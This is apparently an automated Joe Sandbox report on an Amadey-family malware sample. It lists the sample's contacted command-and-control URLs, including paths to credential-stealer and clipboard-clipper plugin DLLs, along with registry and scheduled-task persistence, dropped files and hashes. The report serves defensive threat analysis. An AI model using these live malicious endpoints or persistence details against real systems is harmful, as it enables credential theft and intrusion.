http://185.81.68.148/Fvu5jh4DbS/index.php	rundll32.exe, 00000021.00000002.3797376340.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000022.00000002.3798980117.00000000031BA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.msn.com/en-us/lifestyle/home-and-garden/10-vital-home-maintenance-tasks-you-ll-regret-if	explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.81.68.147/7vhfjke3/Plugins/cred64.dll$	Gxtuum.exe, 00000017.00000002.3805886910.00000000007FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg	explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.81.68.147/7vhfjke3/Plugins/clip64.dll	Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://tempuri.org/Entity/Id5Response	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15ResponseD	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10Response	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.81.68.148/8Fvu5jh4DbS/index.php(	Gxtuum.exe, 00000017.00000002.3805886910.0000000000835000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://passwordreset.micros	explorer.exe, 00000005.00000000.1348239607.000000000BA75000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3869465979.000000000BA75000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3086750323.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT	explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.activedirectory.	explorer.exe, 00000005.00000000.1348239607.000000000BA75000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3869465979.000000000BA75000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3086750323.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.81.68.148/J	Gxtuum.exe, 00000017.00000002.3805886910.0000000000826000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://schemas.micro	explorer.exe, 00000005.00000000.1330798923.0000000007320000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.3809341876.00000000027F0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.1331422714.0000000007F70000.00000002.00000001.00040000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg	explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://tempuri.org/:hardwares.	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/D	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513867334.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512658060.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512879245.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1532153483.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513327898.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1530758520.000001B34401F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.81.68.147/7vhfjke3/index.phpHo5	Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://account.li	explorer.exe, 00000005.00000000.1348239607.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/here-s-what-house-rules-say-about-trump-serving-as-speaker-o	explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13Response	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12ResponseD	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.81.68.147	unknown	Finland		50108	KLNOPT-ASFI	true
185.81.68.148	unknown	Finland		50108	KLNOPT-ASFI	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574303
Start date and time:	2024-12-13 08:17:40 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	41
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	mggoBrtk9t.exe renamed because original name is a hash value
Original Sample Name:	dd1e3f38ae7711d270748012af613950.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@59/84@0/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 68% Number of executed functions: 139 Number of non-executed functions: 278
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.12.23.50
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: mggoBrtk9t.exe

Simulations

Behavior and APIs

Time	Type	Description
02:18:39	API Interceptor	12530x Sleep call for process: msiexec.exe modified
02:18:39	API Interceptor	12254x Sleep call for process: audiodg.exe modified
02:18:39	API Interceptor	232903x Sleep call for process: explorer.exe modified
02:19:21	API Interceptor	15x Sleep call for process: 6148.tmp.ssg.exe modified
02:20:01	API Interceptor	3872x Sleep call for process: Gxtuum.exe modified
02:20:22	API Interceptor	51x Sleep call for process: powershell.exe modified
02:20:51	API Interceptor	7963x Sleep call for process: rundll32.exe modified
08:18:42	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Services C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe
08:18:50	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Services C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe
08:19:06	Task Scheduler	Run new task: Gxtuum path: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.81.68.147	D72j5I83wU.dll	Get hash	malicious	Amadey	Browse	185.81.68.147/7vhfjke3/index.php
	D72j5I83wU.dll	Get hash	malicious	Amadey	Browse	185.81.68.147/7vhfjke3/index.php
	hoPazBDFG9.dll	Get hash	malicious	Amadey	Browse	185.81.68.147/7vhfjke3/index.php?wal=1
	tOuVwTJrau.exe	Get hash	malicious	Amadey	Browse	185.81.68.147/7vhfjke3/index.php
	yINR7uQlPr.exe	Get hash	malicious	Amadey, RedLine	Browse	185.81.68.147/VzCAHn.php?1DC30FADAFF92643095942
	file.exe	Get hash	malicious	RedLine	Browse	185.81.68.147/tizhyf/gate.php?0CD020845398340779059
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	185.81.68.147/tizhyf/gate.php?2DB3A69DE7692371543510
185.81.68.148	D72j5I83wU.dll	Get hash	malicious	Amadey	Browse	185.81.68.148/8Fvu5jh4DbS/index.php
	D72j5I83wU.dll	Get hash	malicious	Amadey	Browse	185.81.68.148/8Fvu5jh4DbS/index.php
	hoPazBDFG9.dll	Get hash	malicious	Amadey	Browse	185.81.68.148/8Fvu5jh4DbS/index.php?wal=1
	tOuVwTJrau.exe	Get hash	malicious	Amadey	Browse	185.81.68.148/8Fvu5jh4DbS/index.php
	yINR7uQlPr.exe	Get hash	malicious	Amadey, RedLine	Browse	185.81.68.148/8Fvu5jh4DbS/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
KLNOPT-ASFI	D72j5I83wU.dll	Get hash	malicious	Amadey	Browse	185.81.68.148
	D72j5I83wU.dll	Get hash	malicious	Amadey	Browse	185.81.68.148
	hoPazBDFG9.dll	Get hash	malicious	Amadey	Browse	185.81.68.148
	tOuVwTJrau.exe	Get hash	malicious	Amadey	Browse	185.81.68.148
	eHCgK6fZc2.exe	Get hash	malicious	RedLine	Browse	185.81.68.147
	yINR7uQlPr.exe	Get hash	malicious	Amadey, RedLine	Browse	185.81.68.148
	file.exe	Get hash	malicious	RedLine	Browse	185.81.68.147
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	185.81.68.147
	tjpq0h4wEH.exe	Get hash	malicious	RedLine	Browse	185.81.68.147
	file.exe	Get hash	malicious	RedLine	Browse	185.81.68.115
KLNOPT-ASFI	D72j5I83wU.dll	Get hash	malicious	Amadey	Browse	185.81.68.148
	D72j5I83wU.dll	Get hash	malicious	Amadey	Browse	185.81.68.148
	hoPazBDFG9.dll	Get hash	malicious	Amadey	Browse	185.81.68.148
	tOuVwTJrau.exe	Get hash	malicious	Amadey	Browse	185.81.68.148
	eHCgK6fZc2.exe	Get hash	malicious	RedLine	Browse	185.81.68.147
	yINR7uQlPr.exe	Get hash	malicious	Amadey, RedLine	Browse	185.81.68.148
	file.exe	Get hash	malicious	RedLine	Browse	185.81.68.147
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	185.81.68.147
	tjpq0h4wEH.exe	Get hash	malicious	RedLine	Browse	185.81.68.147
	file.exe	Get hash	malicious	RedLine	Browse	185.81.68.115

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\cred64[1].dll	tOuVwTJrau.exe	Get hash	malicious	Amadey	Browse
	yINR7uQlPr.exe	Get hash	malicious	Amadey, RedLine	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\clip64[1].dll	tOuVwTJrau.exe	Get hash	malicious	Amadey	Browse
	yINR7uQlPr.exe	Get hash	malicious	Amadey, RedLine	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\6148.tmp.ssg.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3293
Entropy (8bit):	5.3364558769830905
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymTqdqlq7qqjqc5q3Z5D:Pq5qHwCYqh3qtI6eqzxP0atTqdqlq7qV
MD5:	E60C20F769DA5AF3C23391053EE42897
SHA1:	5593616A4D17499C9628179A8108F31819A7FD7A
SHA-256:	BBFB2FAFC866E2546F5A75860AE7C6B5AE0537630A90440FADB29305DD25608F
SHA-512:	02E9AE3BB339318C5AD26C453B02E57878D7D83F6BE584E718308A29C937DCE0ACA011A857342893CA52A51312E700B6119F2C6F4FAA7321584339CEE7173137
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Windows\explorer.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1022
Entropy (8bit):	5.202351927401395
Encrypted:	false
SSDEEP:	24:YqHZ6T06MhmQvmmb0O0bihmIqvmm6CUXyhmfJgvmmbxdB6hmxvmmz0JahmsvmmbE:YqHZ6T06McFmb0O0bicIjmDUXycR1mb2
MD5:	3339D6EDF001A2971486F3EAF39F0476
SHA1:	1F7E104E89EC728EDF3488EB66B5E97F2B32708F
SHA-256:	547E26B6B9B96A8F2C813F8C37DD731CC8D4CF0FEA5A6006DD1E302DCC4EFB19
SHA-512:	458178CF74A9DB8817940EA9DAF336A8D783D8D5165CFD46F3E01D96BBD55E226F9C13B041CF5515DB0343848E78981E76D4BD4154B79275EEF4E2A1A29F71BC
Malicious:	false
Preview:	{"RecentItems":[{"AppID":"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge","PenUsageSec":15,"LastSwitchedLowPart":2278598928,"LastSwitchedHighPart":31061882,"PrePopulated":true},{"AppID":"Microsoft.WindowsCommunicationsApps_8wekyb3d8bbwe!Microsoft.WindowsLive.Mail","PenUsageSec":15,"LastSwitchedLowPart":2268598928,"LastSwitchedHighPart":31061882,"PrePopulated":true},{"AppID":"Microsoft.Office.OneNote_8wekyb3d8bbwe!microsoft.onenoteim","PenUsageSec":15,"LastSwitchedLowPart":2258598928,"LastSwitchedHighPart":31061882,"PrePopulated":true},{"AppID":"Microsoft.Windows.Photos_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":2248598928,"LastSwitchedHighPart":31061882,"PrePopulated":true},{"AppID":"Microsoft.MSPaint_8wekyb3d8bbwe!Microsoft.MSPaint","PenUsageSec":15,"LastSwitchedLowPart":2238598928,"LastSwitchedHighPart":31061882,"PrePopulated":true},{"AppID":"Microsoft.WindowsMaps_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":2228598928,"LastSwitchedHighPart":31061882,

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\clip64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.36076412023942
Encrypted:	false
SSDEEP:	3072:Vdu5ZXB8ZuzQT7SgmME8Yn/YoZ3SNqpidU1epf:WjGymSg7E8Y3Z3AdUwpf
MD5:	C2F3FBBBE6D5F48A71B6B168B1485866
SHA1:	1CD56CFC2DC07880B65BD8A1F5B7147633F5D553
SHA-256:	C7ED512058BC924045144DAA16701DA10F244AC12A5EA2DE901E59DCE6470839
SHA-512:	E211F18C2850987529336E0D20AA894533C1F6A8AE6745E320FD394A9481D3A956C719AC29627AFD783E36E5429C0325B98E60AEE2A830E75323C276C72F845A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\clip64[1].dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Joe Sandbox View:	Filename: tOuVwTJrau.exe, Detection: malicious, Browse Filename: yINR7uQlPr.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........P...................................................................@......@......@.~.....@......Rich............................PE..L.....Zg...........!.....D..........bp.......`...............................0............@.....................................P.......................................8...............................@............`..L............................text....C.......D.................. ..`.rdata..*u...`...v...H..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\cred64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1281024
Entropy (8bit):	6.466046469058072
Encrypted:	false
SSDEEP:	24576:BO//kL3TtMhQsnoXyajMK8fCZEqcAxQBuLv8YPKpTG:z3pMhQzRM3MfcAxHv8t
MD5:	C6AABB27450F1A9939A417E86BF53217
SHA1:	B8EF3BB7575139FD6997379415D7119E452B5FC4
SHA-256:	B91A3743C7399AEE454491862E015EF6FC668A25D1AA2816E065A86A03F6BE35
SHA-512:	E5FE205CB0F419E0A320488D6FA4A70E5ED58F25B570B41412EBD4F32BBE504FF75ACB20BFEA22513102630CF653A41E5090051F20AF2ED3AADB53CE16A05944
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\cred64[1].dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Joe Sandbox View:	Filename: tOuVwTJrau.exe, Detection: malicious, Browse Filename: yINR7uQlPr.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........D........................s.................................................X..........Rich...........................PE..d.....Zg.........." .........8...............................................P............`..........................................~..X....~....... .......`...............0..l.......p...........................p...8............................................text............................... ..`.rdata..............................@..@.data............D..................@....pdata.......`......................@..@_RDATA...............t..............@..@.rsrc........ .......v..............@..@.reloc..l....0.......x..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	26604
Entropy (8bit):	5.053055305417327
Encrypted:	false
SSDEEP:	768:SLbV3IpNBQkj2Uh4iUxkOZhxUardF2J+OdBOtAHkvNZzNKe1MlYoaYP:SLbV3CNBQkj2Uh4iUxkOGqdsJ+OdBOtW
MD5:	8F2E81AFB74FF8E96872195A47439519
SHA1:	20A3DC86E6946C44750E6C795FE3631190D5BBD6
SHA-256:	C7A289D499165A827190150CDAA8DB6B00D4E4C730362583A78CAB907DA4948B
SHA-512:	62DD131EEE4B3693310F83A8EDC389545E9EDE7F0FFE992E4994FD09885B552FF4DEC2C5FA9470FCEE0BE62B63147CD7D2BD13DA6C51314998895A02B3FCAD9B
Malicious:	false
Preview:	PSMODULECACHE.(...m.\3.z..q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DirectAccessClientComponents\DirectAccessClientComponents.psd1........Set-DAEntryPointTableItem....#...Set-DAClientExperienceConfiguration...."...Enable-DAManualEntryPointSelection........Get-DAEntryPointTableItem........Reset-DAEntryPointTableItem....%...Reset-DAClientExperienceConfiguration........Remove-DAEntryPointTableItem........New-DAEntryPointTableItem....#...Get-DAClientExperienceConfiguration....#...Disable-DAManualEntryPointSelection........Rename-DAEntryPointTableItem.........)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScr

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1504
Entropy (8bit):	5.276700844521632
Encrypted:	false
SSDEEP:	24:3xSKco4KmBs4RPT6BmFoUe7u1omjKcm9qr9t7J0gt/NKmNUNEr8H0UMem:hSU4y4RQmFoUeCamfm9qr9tK8NfUNEIa
MD5:	2A2F67F5A4C6ABAD70DCE1B2A1CEE99E
SHA1:	1B47545B0FD40AB9928E2AF27630AE4CA662B3E8
SHA-256:	0C9AD3D732D61829E6755E516E788354192EA19635302EAF1557A5F0E09083F3
SHA-512:	0DE0FAF6CB9F35BF229256F53F68155C9C82247E85C57FE16A2F4F8A305C523551A9AAD64A38FA26C38BA15CA9A894BCFA844D559E44B56A4D9FF7ED8F4339E3
Malicious:	false
Preview:	@...e...........4....................................@..........@...............\|.jdY\.H.s9.!..\|4.......System.IO.Compression...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...

C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1555
Entropy (8bit):	7.706393179194192
Encrypted:	false
SSDEEP:	48:9LmxaDz8wW3NhtlmXovePRUb7AlVW0yOKkIJkCY:Qa/gtlQu07ZomCY
MD5:	5924E468A2B6EC2FE30794DBF6DED067
SHA1:	FCEE696E1E3A56656241BDF765316FFD1B425AF7
SHA-256:	4D65C0DB1AFC565865E314E84F07124D00555C830125D3F9AE2F5AC99A3654F1
SHA-512:	14AF2767B42FFC0F15D38E0C101A5B06316EB19CA2BC87BCF2F8EDC0BFF10E90BE0A4D3C880424DFDFBEDF5E70292BEBB97D1FFA92FC2D66DACC7AED507DAF96
Malicious:	true
